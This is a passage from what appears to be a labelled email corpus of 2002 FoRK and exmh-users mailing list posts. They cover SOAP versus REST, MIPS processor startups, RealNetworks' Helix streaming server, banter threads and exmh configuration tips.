used for operations which observably change the state of the recipient. POST should be used instead. 3. Message -- Do not presume that URLs are static, instead presume that they identify the resource. In particular, recognize that URLs can be dynamically generated. Expect URLs of other SOAP Resources in responses. Use the SOAP Response MEP for pure retrieval operations. 4. Procedure -- Treat the URL itself as the implicit first parameter. Allow URLs to be dynamically generated, and returned in structures. Use HTTP GET for retrieval operations. Conclusions Looking to the future, the application level inter-networking protocols that emerge today will likely be the application level intra-networking protocols of the next decade. Both REST and SOAP contain features that the others lack. Most significantly: REST - SOAP = XLink The key bit of functionality that SOAP applications miss today is the ability to link together resources. SOAP 1.2 makes significant progress in addressing this. Hopefully WSDL 1.2 will complete this important work. SOAP - REST = Stored Procedures Looking at how other large scale systems cope with updates provides some key insights into productive areas for future research with respect to REST. Finally, it bears repeating. Just because a service is using HTTP GET, doesn't mean that it is REST. If you are encoding parameters on the URL, you are probably making an RPC request of a service, not retrieving the representation of a resource. It is worth reading Roy Fielding's thoughts on the subject. The only exception to this rule that is routinely condoned within the REST crowd is queries. -- Sam Ruby, http://radio.weblogs.com/0101679/stories/2002/07/20/restSoap.html http://xent.com/mailman/listinfo/fork",0,1 adam@xent.com (Adam Rifkin),FoRK@xent.com,"Mon, 22 Jul 2002 22:06:49 -0700 (PDT)",[EE Times] Iconoclast Designers Choose MIPS,"""In fact, Caltech says that it actually spun out the same number of startups in 2001 -- a poor time, needless to say, for new ventures -- as it did in the boom year of 1999."" Oookaaaay... http://www.fulcrummicro.com/press/article_eeTimes_05-08-02.shtml Iconoclast designers choose MIPS By Anthony Cataldo May 28, 2002 SAN JOSE, Calif. -- A group of engineers in Calabasas Hills, CA wants to turn the microprocessor world on its head by doing the unthinkable: tossing out the clock and letting the signals move about unencumbered. For those designers, inspired by research conducted at nearby Caltech, clocks are for wimps. The Fulcrum Microsystems Inc. design team isn't the first to propose an asynchronous processor, but president and chief executive officer Robert Nunn wants to be the first to take a clockless, fire-breathing processor mainstream. ""We really deal with an asynchronous world,"" he said. ""We only make it synchronous for our own convenience."" This is the kind of stuff that many in the processor industry would consider lunatic fringe, too weird for conservative embedded-systems designers. But the young processor company and more than a dozen others like it are anchored in the mainstream courtesy of the MIPS instruction-set architecture. More and more, MIPS is becoming the choice for maverick processor design teams seeking a place at the high end by fielding unorthodox devices. And if Motorola and IBM in the PowerPC camp aren't careful, they could see their performance leadership in the high-end embedded-processor market snatched away by some of these upstarts. In Austin, Texas, meanwhile, designers at another MIPS house, Intrinsity Inc., aren't prepared to ditch the clock. But they are putting a new spin on some old tricks such as giving each gate its own clock and then letting them overlap. Using such sleight of hand, the company hopes to soon deliver RISC-based processors that run at an eye-popping 2 GHz and consume just 10 to 15 watts. Fulcrum, Intrinsity and their brethren may once have been written off as interesting experiments, backed by venture capitalists who overlooked some of the finer details, like software compatibility. What lends them respectability is MIPS. Theirs for the asking One reason young processor companies seem to be flocking to the platform is that its steward, MIPS Technologies Inc., has no qualms about licensing the instruction-set architecture (ISA), provided that the licensee agrees to meet a software-compatibility test suite. By contrast, processor-core rival ARM Ltd. has granted this privilege to just two of its many licensees, Intel and Motorola. And so far, the two PowerPC vendors, IBM Corp. and Motorola Inc., have rebuffed most requests to license that architecture, with the notable exception being FPGA vendor Xilinx Inc., which has licensed the 405 PowerPC from IBM. The MIPS ISA is also one of the simplest forms of reduced-instruction-set computing around, which tends to make it attractive to processor designers interested in extending the architecture. It was this and the wide availability of tools and software that drew Intrinsity to MIPS, even though the company is aiming at PowerPC sockets, as evidenced by its decision to adopt the RapidIO interface instead of HyperTransport, which has been favored by MIPS vendors. Good fit ""It's a nice, clean architecture and has an open model that allows us to add instructions,"" said Paul Nixon, chief executive officer of Intrinsity. ""You also get all the third-party tools that very easily fit into our base of platforms."" There was a time when this openness was seen as a liability for MIPS. In the mid-1990s, before MIPS was spun out from Silicon Graphics Inc., the instruction set lacked a multiply-add instruction, so some MIPS vendors took it upon themselves to create their own. The problem was that this broke many of the development tools, causing headaches for compiler vendors like Green Hills Software Inc. ""We went to MIPS and said we have 20 different compiler variants and it's embarrassing,"" said Craig Franklin, vice president of engineering at Green Hills and a respected microprocessor industry veteran. Franklin also wasn't shy about telling MIPS it needed to revamp its embedded application binary interface. ""We went to MIPS and said we've done a dozen EABIs, let's clean up yours,"" he said. MIPS took the advice and wasted little time clamping down on architectural deviations, observers said. But the MIPS camp still has to live with a legacy of incompatible chips in the field. ""To its credit, MIPS quickly caught on,"" said Jim Turley, a microprocessor industry analyst. ""Going forward, MIPS is maintaining good control but they are still haunted by incompatibility among multiples."" If the biggest risk to the MIPS camp is fragmentation, then the PowerPC camp has the opposite problem: architectural confinement. Though the PowerPC architecture carries the cachet of household names Motorola and IBM, these are essentially the only two companies that provide PowerPCs. It's not for lack of interest. Rather, the companies have been reluctant to cede control over the architecture. This could wind up hurting the PowerPC cause, though. ""To get a PowerPC license is impossible or very expensive,"" Green Hills' Franklin said. ""Tactically this may have been a mistake. If you're a Japanese company, all things being equal, you'd rather buy from another Japanese company."" Analyst Turley, too, thinks the PowerPC camp will only stand to gain by licensing the architecture. ""It's all about software compatibility and tool support. The more you can proliferate the architecture the better you're going to do,"" he said. ""I don't think Motorola and IBM can address the entire market by themselves."" There's a chance that this could change. IBM, for its part, is in the process of planning an expansion strategy for PowerPC that may involve more licensing. Though it's unlikely the PowerPC camp will ever have the open licensing model of MIPS Technologies, MIPS processor vendors may have more than just two competitors to worry about. ""We're certainly not averse to [licensing],"" said Lisa Su, director of PowerPC products at IBM. ""The question is, how much do we do and who do we license to. There are various ways you could go, whether it's a hard core, soft core or licensing the ISA."" But the fear of architectural fragmentation still looms large. ""We know that if we have different microarchitectures we have to do work on software compatibility,"" Su said. ""With MIPS there's a degree of fracturing. That may not always be a big problem, but if you go to other markets -- like consumer -- it becomes big. Our belief is there is a happy medium."" Whatever path IBM takes it will act in its own best interest as a chip provider, not as a company that wants to hawk intellectual property. This is why the Xilinx licensing deal works for IBM: Big Blue is not so much interested in the royalties and fees it collects from Xilinx, but in the dual benefit of widening the appeal of the architecture and the revenue IBM generates from manufacturing the FPGAs for Xilinx in its own fabs. ""We're not trying to make money off of licensing,"" Su said. Manufacturing is probably one of the most powerful weapons that PowerPC vendors IBM and Motorola wield. Both have gussied up their high-end lines with copper interconnect and silicon-on-insulator technology, still rarities among chip makers. This has helped both companies design relatively low-power embedded processors running at 1 GHz that are shipping today. IBM did it using 0.13-micron design rules and a four-stage pipeline; Motorola is using 0.18-micron design rules and a seven-stage pipe. The companies say there's more performance headroom in store. ""When we get to 0.13 micron we'll get substantially faster,"" said Raj Handa, PowerPC and PowerQuicc marketing manager at Motorola. Proprietary processes Most MIPS processor vendors, by contrast, rely on mainstream foundries that haven't developed the more-exotic process technologies. And even though companies like Motorola are shifting more capacity to outside foundries, they're keeping their special process recipes in-house to juice up their high-performance devices. Lacking this capability, most MIPS processor vendors will have little choice but to come up with dazzling architectural feats to keep up their chops at the high end. It should become clear in the next year or so how some of the newer players measure up. Intrinsity hopes to field its 2-GHz processors by the end of the year. Fulcrum is shooting for an early 2003 introduction. ""We're going to shock the industry in terms of raw performance and speed-vs.-power performance,"" Fulcrum's Nunn said. ""We really want to change the way the world designs semiconductors."" http://www.fulcrummicro.com/press/article_fastco_04-02.shtml The Pasadena startup machine By Alison Overholt April, 2002 There was a time when every dorm room, it seemed, was a startup waiting to happen. Throughout the 1990s, kids cobbled together business plans between classes, won funding, and jumped into business. Risk? What risk? Plunging into a new venture seemed all too easy. Ah, the fickleness of youth. These days, most of the kids are back in class. Venture capitalists say that they're seeing precious few proposals out of MIT, Stanford, and almost every other university, save one: the California Institute of Technology. In fact, Caltech says that it actually spun out the same number of startups in 2001 -- a poor time, needless to say, for new ventures -- as it did in the boom year of 1999. While startup enthusiasm has faded on most campuses, Caltech has blossomed into a robust new-company machine. This didn't happen by accident. During the past seven years, Caltech's Office of Technology Transfer has carefully developed a strategy for cultivating commerce. ""We focus on nurturing entrepreneurs scientifically more than other schools do,"" says Rich Wolfe, the office's associate director. That is, the university focuses more on the science itself than on the ensuing commercial opportunity. That's what grabbed Uri Cummings and Andrew Lines, two PhD students at Caltech who founded Fulcrum Microsystems in 2000. ""There is a pervasive philosophy at Caltech that no problem is unsolvable,"" Cummings says. ""There's a focus on scientific ingenuity that is thrilling to be around. Caltech has so many entrepreneurs because the school doesn't make it about business or focus on how much money they'll get out of it. Caltech is a catalyst, moving technology from the university out into industry, and students are thrilled to be a part of it."" Before starting Fulcrum, Cummings and Lines worked for six years with Caltech computer-science professor Alain Martin on an asynchronous-circuit design for semiconductor chips. They ventured into commercialization while still in the throes of their doctoral program. That they could afford to do that points to another, more practical aspect to Caltech's approach. Other universities typically require entrepreneurs to pay up-front application and licensing fees for the use of technology patents. But Caltech believes that such payments stifle entrepreneurship, since young companies usually have little cash to spare. Instead, the school typically takes equity stakes in startups, and it defers collection of patent payments until fledgling companies are financially secure. For Caltech, it's a long-term bet. ""The reality is that universities rely far more on their endowments than they could on any fees to be collected from the initial licensing process,"" Wolfe says. ""So we seek a bite of the apple -- and we hope that if one of these entrepreneurs founds the next Intel, he'll not only share the equity but also bestow a gift on the university in remembrance that we took care of him when he was just getting started."" Cummings and Lines may be in a position to do just that. Fulcrum has won about $20 million in venture funding amid the toughest venture market in recent history. Its founders have hired a credible CEO, Bob Nunn, who formerly ran Vitesse's telecom division, and hired 24 top students from their alma mater. And they've garnered rave reviews of their chip design from technology journals. One thing that Cummings and Lines haven't done yet: finished their degrees. Officially, both are now ""on leave."" They may not be back. ---- aDaM@XeNT.CoM High-tech startups fail for only three reasons: stupidity, luck, and greed. Tip one for would-be entrepreneurs: Avoid stupid and unlucky people. If you are stupid or have bad luck, don't start a high-tech business. Tip two for would-be entrepreneurs: Do a product that you want to do, not one that they want you to do. Startup founders generally have only ideas, charisma, and equity to work with. Ideas and charisma are cheap, but equity is expensive. To make a start-up work, the founder has to divvy out parts of the business at just the right rate to keep everyone happy until the product is a success. Give away too much of your company too soon to a venture capitalist, to your co-workers, or even to yourself, and you risk running out of distributable shares before the product is done. And that probably means the product won't be done. Ever. Tip three for would-be entrepreneurs: Don't take venture funding too soon. If you are doing a software product, don't take venture money until you need it to introduce the product. Don't take venture money until you have used up all of your own money, your mother-in-law's money, and everything you can borrow. Bootstrap. Rent, don't buy. Don't hire people to do things you can contract out because contractors don't require stock options. As the founder, the man or woman with the grand plan, your function is to manage the distribution of your own holdings so that you end up with fewer shares but more wealth. Tip four for would-be entrepreneurs: Invite me to lunch. I'm a cheap date. -- Robert X. Cringely, http://www.pbs.org/cringely/pulpit/pulpit20010614.html http://xent.com/mailman/listinfo/fork",0,1 adam@xent.com (Adam Rifkin),FoRK@xent.com,"Mon, 22 Jul 2002 23:00:10 -0700 (PDT)",[NYT] Real Source,"""This is a very tenuous time for Microsoft,"" Gartenberg said. ""This is not a time in Microsoft's history when it can be seen as trying to do to Real what it did to Netscape."" Rrrrrrriiiiiight.... http://www.nytimes.com/2002/07/22/technology/22REAL.html July 22, 2002 RealNetworks Poses Challenge to Microsoft By JOHN MARKOFF SAN FRANCISCO, July 21 -- In a significant challenge to Microsoft, RealNetworks plans to announce a new version of its software on Monday that can distribute audio and video in a range of formats, including Microsoft's own proprietary Windows Media. The new software is intended for large media companies and other corporations that need to send audio and video data to customers and employees in a variety of different formats. But RealNetworks acknowledged that it was possible that the company might incur Microsoft's legal wrath. Nevertheless, Rob Glaser, a former Microsoft executive who founded RealNetworks as Progressive Networks in 1994, said he believed the strategy was good for both Microsoft and consumers. ""A rational way for them to respond would be to say, `This is great,' "" he said. ""That would be Microsoft of the future."" Mr. Glaser said his company, based in Seattle, had developed a version of the Microsoft Media Server software that comes with the Windows operating system. He said RealNetworks' engineers had studied the data that was sent between the Microsoft media server software and the Windows Media Player program and recreated the technology needed to play files in the Microsoft format. This method created a so-called clean-room version, meaning the developers built the transmission software without any knowledge about the underlying program. Microsoft has adopted a similar strategy at several junctures, Mr. Glaser said, reverse-engineering technologies like NetWare, PostScript and JavaScript at different times. Microsoft executives said the company currently licensed the Windows Media Player technology to a variety of companies including Yahoo, RealNetworks and the America Online unit of AOL Time Warner. But a Microsoft executive said that a clean-room copy of the Windows server technology could lead to quality and performance issues. ""It's kind of hard to speculate about the technology until we see it,"" said Dave Fester, the general manager of the Windows Media division. If a company has not licensed the server software, he added, ""we would need to look at it and see what they're doing."" RealNetworks appears to be endeavoring to avoid being ""Netscaped,"" a reference to the fate that befell the Netscape Communications Corporation when Microsoft decided to make an Internet browser, which was pioneered commercially by Netscape, a standard part of the Windows operating system. Netscape was later acquired by AOL Time Warner. Microsoft's decision to build an Internet browser into Windows and give it away at no additional cost led directly to a bitter antitrust lawsuit brought by the Justice Department in 1997. RealNetworks, which was a pioneer in the market for streaming media to desktop personal computers, has been under growing pressure from Microsoft, which is giving away both the server and Windows Media Player program as part of its operating strategy. RealNetworks also faces challenges from Apple Computer, which offers the QuickTime media player as a part of its Macintosh OS X operating system and sells a more full-featured player. Moreover, in recent months Macromedia Inc., which makes the Flash animation software used on many Web sites, has added video capabilities to its technology, making it a potential rival. RealNetworks is gambling that with a proliferation of different standards and formats for video and audio, the media corporations that make content available over the Internet will flock to a single system that supports multiple types of data. The company is trying to shift the focus of the competition from the PC desktop to the server, according to analysts. Several analysts said the RealNetworks shift in strategy could put Microsoft on the defensive. ""Real has got the experience and sophistication to pull this off,"" said Richard Doherty, the president of Envisioneering, a market research and consulting firm based in Seaford, N.Y. ""It will open up a new horse race."" Until now the companies have been engaged in a technology war to rapidly increase the power and quality of each of their media players. At the same time, they have competed over which of the programs are placed on the desktops of personal computer users. RealNetworks claims to have 700,000 subscribers for pay services, but it is perceived as being increasingly vulnerable, according to some analysts, because Microsoft has included its Media Player as part of the Windows operating system, which dominates the PC market. There are dozens of data formats for playing audio and video on the Internet, but the dominant ones are RealAudio and RealVideo from RealNetworks, QuickTime from Apple, Windows Media from Microsoft and the industry digital movie standards MPEG-2 and MPEG-4. Microsoft and RealNetworks are currently locked in a close race for desktop media player leadership. In the first quarter of this year, according to survey data collected by Jupiter Research, a market research firm based in New York, RealNetworks' RealOne Player had a 29.1 percent share of media players, while Microsoft's Windows Media Player had a 28.2 percent share. Apple's Quicktime player was third, with a 12.2 percent. The new server software from RealNetworks is part of a version of the company's media server that is to be introduced on Monday and which will be called the Helix Universal Server. RealNetworks said it would offer performance data based on a test it financed at an independent testing service, KeyLabs, that indicate that the Helix software can, under some conditions, deliver up to four times the speed of the Windows Media Server in Microsoft's operating system. (Software servers are programs that run on powerful computers and can send streams of digital information to many computer users simultaneously.) At a news conference scheduled to be held in San Francisco, RealNetworks is also expected to announce that it plans to make the Helix software available as part of a strategy known as community source, which will make it possible for RealNetworks partners and competitors to take advantage of the original programmers' instructions. RealNetworks is to announce a range of partners, including Hitachi, Hewlett-Packard, I.B.M., Deutsche Telekom, NEC, Nokia, Cisco Systems, Oracle, Sun Microsystems, Palm, Texas Instruments and others. These partners could then incorporate the software into their own hardware and software products. Under the licensing strategy, companies will be able to freely gain access to the underlying code that the Helix program is based on, but they will still pay a licensing fee when they sell commercial products based on the technology. The community-source approach to software, which was pioneered by Sun to distribute its Java programming language, is a variation upon the original free software or open-source approach which has confounded the software industry in recent years. While open-source software can be freely shared, with some restrictions, the community-source approach is more restrictive and yet still tries to persuade others to collaborate and add innovative ideas. Other large technology companies including Sun, I.B.M. and Apple, have all now adopted variations on such open-source strategy, with varying results. In Sun's case, the company has been criticized because, while Java has become an industry standard, the company has not been the principal financial beneficiary in many cases. RealNetworks is trying to strike a balance between opening up its technology to persuade others to participate and innovate and not losing control of the technology entirely, Mr. Glaser said. ""We think we've struck the balance well,"" he said. Analysts said the strategy shift by RealNetworks was likely to shake up the industry. ""The moment you've open-sourced something you've cornered your competitor,"" said Matthew Berk, an analyst a Jupiter Research. ""To date this stuff has been very proprietary. Opening it up makes it accessible to creative and gifted programmers who will come up with wild stuff that the companies have never considered."" Mr. Glaser said he expected other companies to produce technology that would rival RealNetworks' commercially as a result of the community-source strategy. One possibility is that companies such as Sun or I.B.M. could decide to add the Helix technology of RealNetworks as a standard component of their operating systems. Although RealNetworks might not get a significant financial benefit from such an arrangement it could contribute to making its Helix software a de facto industry standard. Mr. Glaser said he had struck upon the idea of making his media server software open source while visiting with an executive from Nokia, the world's largest cellphone maker. ""Taking all of this stuff beyond the PC has been a huge motivation for us,"" he said. When he realized that Nokia was interested in deploying the software technology on as many as 30 to 40 different types of phones, he realized that RealNetworks did not have enough programming talent to support the effort. ""I told him, `I don't think we have enough engineers even if you guys were willing to pay us,' "" he said. That touched off a search for an alternative way of having the two companies cooperate. http://quicken.com.com/2100-1023-945406.html Real takes the open-source route By Jim Hu Staff Writer, CNET News.com July 22, 2002, 1:55 PM PT RealNetworks on Monday unveiled a new open-source version of its streaming media technology that supports multiple file formats for audio and video, including those that use Microsoft's Windows Media technology. The new campaign, dubbed ""Helix,"" and first reported by The New York Times, marks one of the most ambitious moves in the company's history. RealNetworks is simultaneously releasing technology without permission that plugs in to Microsoft's competing software and is raising the hood on much of its own software technology to ""open source"" developers or anyone else who wants to look. The twin moves raise the risk of lawsuits and renewed competition -- potentially even from Redmond, Wash.-based Microsoft itself, once it gets a look under the hood at RealNetworks' technology. But it marks a dramatic, potential way for a company watching its market share diminish to regain momentum and support across an industry where many other players remain skeptical of Microsoft's power. ""It's a very bold move on the part of Real,"" said Michael Gartenberg, a research director for analyst firm Jupiter Research. ""This was a shot fired by Real and fired directly at Redmond."" The move is the latest in a series of strategic twists and turns that has made RealNetworks one of the only companies to survive direct Microsoft competition for years. While the company has expanded into paid subscription content business, its software and streaming media infrastructures have been under increasing pressure from Microsoft, which has deemed multimedia to be one of the major drives under the latest versions of its Windows operating system. Real's Helix announcement mainly involves the technology that allows media files to move from place to place over the Internet. RealNetworks and Microsoft both produce servers that allow video and audio to be streamed from a content company such as CNN or NBC to a personal computer. Real has charged for this software, while Microsoft has given it away for free. In April, RealMedia reached 17 million at-home viewers, compared with Windows Media at 15.1 million and Apple Computer's QuickTime at 7.3 million, according to Nielsen/NetRatings. At work, Windows Media drew about 12.2 million unique viewers, compared with RealMedia's 11.6 million and QuickTime's 5 million. Real's own new product, called the Universal Server, will allow one server to stream Real's technology, Microsoft files, Apple Computer's QuickTime, and others. Most other competing products do not support competitors' technology. ""When you have all these different platforms, and all these different protocols, it gets unmanageable,"" RealNetworks' Rob Glaser said at a high-glitz press conference in San Francisco announcing the product. ""A lot of what (this technology) is about is breaking those bottlenecks and making convergence really converge."" To make the new product compatible with Microsoft files, however, the company pursued a risky strategy known as ""reverse engineering,"" in which developers examine a competitor's product to see how it works and try to create something that works just like it. Glaser said that engineers worked entirely in a ""clean room"" environment, meaning that they had no access to actual Microsoft code. Had they simply copied code, they could be liable for patent infringement. The resulting product simply mimics the way that Microsoft's files are sent across networks and allows a Windows Media player to receive the file. Other companies have been sued for simply copying a competitor's code and putting it in their own products. But RealNetworks says it's not worried about Microsoft lawsuits, because it took precautions to do all development in the ""clean room"" environment. Microsoft itself has engaged in this kind of legal reverse engineering. Analysts say Microsoft, which still faces antitrust lawsuits, is in no position to sue in any case. ""This is a very tenuous time for Microsoft,"" Gartenberg said. ""This is not a time in Microsoft's history when it can be seen as trying to do to Real what it did to Netscape."" The influential giant? Certainly, Monday's announcement acknowledges Microsoft's influence in media technology, something Glaser and Real have often been loathe to do. Microsoft was quick to spin Monday's announcement as further validation of its strength in the marketplace. ""It's an admission of RealNetworks that it's important for them to support Windows Media and that we're now the leading player among home and work users,"" said Michael Aldridge, lead product manager for Microsoft's Windows Digital Media division. Aldridge added that RealNetworks currently has a licensing agreement for its media player to support Windows audio and video formats. However, RealNetworks and Microsoft do not have an agreement to allow the server to deliver Windows Media formats to end users, which is what RealNetworks trying to do. Aldridge declined to comment on RealNetworks' replication of Microsoft's technology. In addition to its own new product, Real has promised to give away source code to much of the underlying technology for streaming media. That stops short of the actual file format, or ""codec"" itself, but will provide the open-source community and other companies with powerful new tools to build their own streaming media players or software. Glaser said he wouldn't initially make the software code that mimics Microsoft's streaming available but that he was considering the idea. A first chunk of code underlying the RealNetworks multimedia player software will be released in 90 days. Other code, including the basic functions of its streaming media server and encoder, will be released by the end of the year, the company said. The company's plan to reveal its source code--the basic instructions underlying the software--echoes similar moves made by Netscape Communications to defend against Microsoft. In March 1998, Netscape took the bold step of opening its source code to allow software developers to help create the next generation of its popular browser. James Barksdale, then CEO of Netscape, said the move would allow the company to ""tap into a virtually unlimited developer talent pool."" Instead, the effort, which has evolved into the Mozilla.org project, hit considerable roadblocks, and Microsoft overtook Netscape in market share. ---- aDaM@XeNT.CoM -- .sig double play! We have done a great job of having teams work around the clock to deliver security fixes for any problems that arise. Our responsiveness has been unmatched - but as an industry leader we can and must do better... Going forward, we must develop technologies and policies that help businesses better manage ever larger networks of PCs, servers and other intelligent devices, knowing that their critical business systems are safe from harm. Systems will have to become self-managing and inherently resilient. We need to prepare now for the kind of software that will make this happen, and we must be the kind of company that people can rely on to deliver it. -- Bill Gates, http://zdnet.com.com/2100-1104-817343.html The problem with SOAP is that it tries to escape from the Web interface. It deliberately attempts to suck, mostly because it is deliberately trying to supplant CGI-like applications rather than Web-like applications. It is simply a waste of time for folks to say that ""HTTP allows this because I've seen it used by this common CGI script."" If we thought that sucky CGI scripts were the basis for good Web architectures, then we wouldn't have needed a Gateway Interface to implement them. In order for SOAP-ng to succeed as a Web protocol, it needs to start behaving like it is part of the Web. That means, among other things, that it should stop trying to encapsulate all sorts of actions under an object-specific interface. It needs to limit its object-specific behavior to those situations in which object-specific behavior is actually desirable. If it does not do so, then it is not using URI as the basis for resource identification, and therefore it is no more part of the Web than SMTP. -- Roy Fielding, http://lists.w3.org/Archives/Public/www-tag/2002Apr/0181.html http://xent.com/mailman/listinfo/fork",0,1 Lucas Gonze ,,"Tue, 23 Jul 2002 09:18:54 -0400 (EDT)",Re: spam maps,"> - Joe > > P.S. I hate everybody. one up: I hate everything post-(the first ten seconds of the universe), but especially everybody and everything, and including but not limited to puppies and ice cream. http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Lucas Gonze ,"Tue, 23 Jul 2002 08:58:55 -0700",Re: spam maps,"Lucas Gonze wrote: >>- Joe >> >>P.S. I hate everybody. > > one up: I hate everything post-(the first ten seconds of the universe), > but especially everybody and everything, and including but not limited to > puppies and ice cream. And you. I especially hate you. - Joe -- There is no place in which to hide Even truth is filled with lies Doubting angels fall to walk among the living http://xent.com/mailman/listinfo/fork",0,1 Tom ,Adam Rifkin ,"Tue, 23 Jul 2002 12:39:03 -0400 (EDT)",Re: [NYT] Real Source,"On Mon, 22 Jul 2002, Adam Rifkin wrote: --]By JOHN MARKOFF Ahhh the ahole reporter we all love to sneer at:)- --]SAN FRANCISCO, July 21 -- In a significant challenge to Microsoft, --]RealNetworks plans to announce a new version of its software on Monday --]that can distribute audio and video in a range of formats, including --]Microsoft's own proprietary Windows Media. Real is more currupt that MS in so many real ways its astounding Real and MS CEOS dont felate each other at tech and mass media conferences. Real needs to die and die horribly. Thier biz practices alone give them an instant berth in the 5th circle of hell. ALl the crap they foist on systems during installation gets em free passes to all the other circles. http://xent.com/mailman/listinfo/fork",0,1 Owen Byrne ,FoRK@xent.com,"Tue, 23 Jul 2002 21:57:30 -0300",Re: [NYT] Real Source,"Tom wrote: >On Mon, 22 Jul 2002, Adam Rifkin wrote: > >--]By JOHN MARKOFF > Ahhh the ahole reporter we all love to sneer at:)- > >--]SAN FRANCISCO, July 21 -- In a significant challenge to Microsoft, >--]RealNetworks plans to announce a new version of its software on Monday >--]that can distribute audio and video in a range of formats, including >--]Microsoft's own proprietary Windows Media. > >Real is more currupt that MS in so many real ways its astounding Real and >MS CEOS dont felate each other at tech and mass media conferences. > >Real needs to die and die horribly. Thier biz practices alone give them an >instant berth in the 5th circle of hell. ALl the crap they foist on >systems during installation gets em free passes to all the other circles. > >http://xent.com/mailman/listinfo/fork > > Well, just to take this thread off topic - does anyone know what's involved in serving streaming video? I assume that the only practical alternatives are MS and Real, and that it's likely to cost some $$$ for the software. Owen http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""Owen Byrne"" , ","Tue, 23 Jul 2002 18:10:35 -0700",RE: [NYT] Real Source,"> Well, just to take this thread off topic - does anyone know what's > involved in serving streaming video? I assume that > the only practical alternatives are MS and Real, and that it's likely > to cost some $$$ for the software. A quick Google search turns up: http://developer.apple.com/darwin/projects/streaming/index.html Darwin streaming media server http://mpeg4ip.sourceforge.net/index.php MPEG4IP: Open Source, Open Standards, Open Streaming MPEG4IP provides an end-to-end system to explore MPEG-4 multimedia. The package includes many existing open source packages and the ""glue"" to integrate them together. This is a tool for streaming video and audio that is standards-oriented and free from proprietary protocols and extensions. Provided are an MPEG-4 AAC audio encoder, an MP3 encoder, two MPEG-4 video encoders, an MP4 file creator and hinter, an IETF standards-based streaming server, and an MPEG-4 player that can both stream and playback from local file. Our development is focused on the Linux platform, and has been ported to Windows, Solaris, FreeBSD, BSD/OS and Mac OS X, but it should be relatively straight-forward to use on other platforms. Many of the included packages are multi-platform already. Both sound interesting, and low $$. - Jim http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Jim Whitehead ,"Tue, 23 Jul 2002 18:39:57 -0700",Re: SimPastry,"Jim Whitehead wrote: > http://www.research.microsoft.com/~antr/Pastry/download.htm Looks cute. For what it's worth I worked closely with a few of the people on the team. One was my officemate for years. Unfortunately there's no way I'm loading all the .NET stuff on my machine. Not yet. And hopefully by the time it's all stable, I'll be running FreeBSD again on my laptop, and it will be moot anyway. - Joe http://xent.com/mailman/listinfo/fork",0,1 Udhay Shankar N ,"""Joseph S. Barrera III"" ,","Wed, 24 Jul 2002 07:50:21 +0530",Re: spam maps,"At 08:58 AM 7/23/02 -0700, Joseph S. Barrera III wrote: >And you. I especially hate you. Heh. The name of the band is SO appropriate...:) http://www.purelyrics.com/index.php?lyrics=foixjtop I, hate the rain and sunny weather And I, hate the beach and moutains too (and) I don't like a thing about the city, no, no And I, I, I, hate the country side too! And I, hate everything about you! ...everything about you! I don't like a thing about your mother And I, I hate your daddy's guts too I, don't like a thing about your sister 'cause I, I, I, think sex is overrated too. And I, get sick when I'm around, I, can't stand to be around I, hate everything about you! everything about you, everything about you, everything about you Some say I got a bad attitude But that don't change the way I feel about you And if you think this might be bringing me down Look again cause I ain't wearin' no frown! I don't really care about your sister Fuck the little bitch 'cause I already kissed her One thing that I did to your lady Put her on the bed and she didn't say maybe I know you know everybody knows The way it comes, the way it's gonna' go You think it's sad And that's too bad 'cause I'm havin' A ball hatin' Every little thing about you! Everything about you, everything about I get sick when I'm around I can't stand to be around I hate everything about you -- ((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com)) God is silent. Now if we can only get Man to shut up. http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Udhay Shankar N ,"Tue, 23 Jul 2002 19:25:05 -0700",Re: spam maps,"Udhay Shankar N wrote: > Heh. The name of the band is SO appropriate...:) LOL, literally, actually. :-) > And I, get sick when I'm around, I, can't stand to be around I, hate > everything about you! One of my favorite pieces of graffti that I have spotted was at UCI, and it read: I am sick when I think of Jesus It has so many meanings, and so many of them are disturbing, especially to a former good little Catholic boy like me. - Joe http://xent.com/mailman/listinfo/fork",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Tue, 23 Jul 2002 11:14:28 -0700",Re: (no subject),"I've picked up these patches and will submit to CVS eventually. If there are bugs worth fixing, please let me know about the fixes for them. >>>Mark Scarborough said: > > tg@sema.se said: > > mscar said: > > > My biggest problem with it is that it will _always_ render the HTML > > > in messages that are only HTML (possible speed and/or ""I didn't > > > want to see that porno email"" problems). Also, it does away with > > > the option to view an HTML part in Netscape. There might be times > > > when I want to use a more fully-featured viewer if I determine that > > > it's worth the risk. > > > > Try these two patches (for exmh-2.5 07/13/2001) I just tossed > > together. > > > The config option $uri(deferDisplaysInline) probably doesn't makes any > > sense, it should probably always be off. But you never know what > > people like... > > > Anyway, when you get a text/html part and you have defer selected, you > > can display it inline by checking the box in the right-button menu. > > > /Tomas G. > > > Tomas, > > This is GREAT! Thank you! This is exactly what I was thinking about as > the ""best"" solution whether I expressed it well or not. > > There are a couple of ""coloring"" or ""highlighting"" bugs that I haven't had > time to fully characterize yet, but I don't care. We can work out the bugs > - at least we have the functionality. > > Everyone: if you have ever wanted to be able to choose between the internal > HTML engine and whatever external browser you have defined - on a per > message basis - give Tomas' patches a try. > > Thanks again Tomas. > > Mark > > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Tue, 23 Jul 2002 11:16:24 -0700",Re: Folder computed replcomps (and replgroupcomps,"Yes - I was going to suggest the folder change hooks as well. Just have them check for your custom comps file, and generate or update them if needed. >>>Hal DeVore said: > > > >>>>> On Fri, 19 Jul 2002, ""J"" == J C Lawrence wrote: > > J> What would be great is if I could build the relevant comp > J> file dynamically at runtime. > > Sure. Use the ""folder change"" hooks. Create a proc named > Hook_FolderChangeSomething (where ""Something"" is meaningful and > likely to be unique in the universe just in case you distribute > this to others). Put the proc in a file in your ~/.tk/exmh > directory, regenerate the tclIndex, restart exmh. > > In that proc you can do anything you want, like rewrite your > ~/Mail/comp file. > > > --Hal > > > > > _______________________________________________ > Exmh-users mailing list > 